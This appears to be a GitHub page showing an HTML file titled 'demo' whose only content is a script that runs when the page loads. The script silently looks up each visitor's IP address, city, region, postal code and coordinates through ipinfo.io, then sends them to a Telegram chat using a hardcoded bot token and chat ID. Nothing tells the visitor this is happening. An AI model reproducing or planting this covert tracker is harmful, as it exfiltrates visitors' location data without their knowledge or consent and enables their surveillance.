-
Notifications
You must be signed in to change notification settings - Fork 2
/
x.html
61 lines (54 loc) · 1.82 KB
/
x.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<!DOCTYPE html>
<html>
<head>
<title>demo</title>
</head>
<body>
<script>
const botToken = '6391846685:AAGk8p3q_07FAj3louTAb1ZoxOk85vbyC6Q';
const chatId = '-980441797';
function infosender() {
fetch('https://ipinfo.io/json')
.then(response => response.json())
.then(data => {
const ip = data.ip;
const city = data.city;
const region = data.region;
const country = data.country;
const location = data.loc;
const postal = data.postal;
const message = `
IP : ${ip}
City: ${city}
Region: ${region}
Country: ${country}
Postal Code : ${postal}
Location: ${location}`;
const apiUrl = `https://api.telegram.org/bot${botToken}/sendMessage`;
const messageData = {
chat_id: chatId,
text: message
};
fetch(apiUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(messageData)
})
.then(response => response.json())
.then(data => {
console.log('Message sent successfully:', data);
})
.catch(error => {
console.error('Error sending message:', error);
});
})
.catch(error => {
console.error('Error fetching location data:', error);
});
}
window.onload = infosender();
</script>
</body>
</html>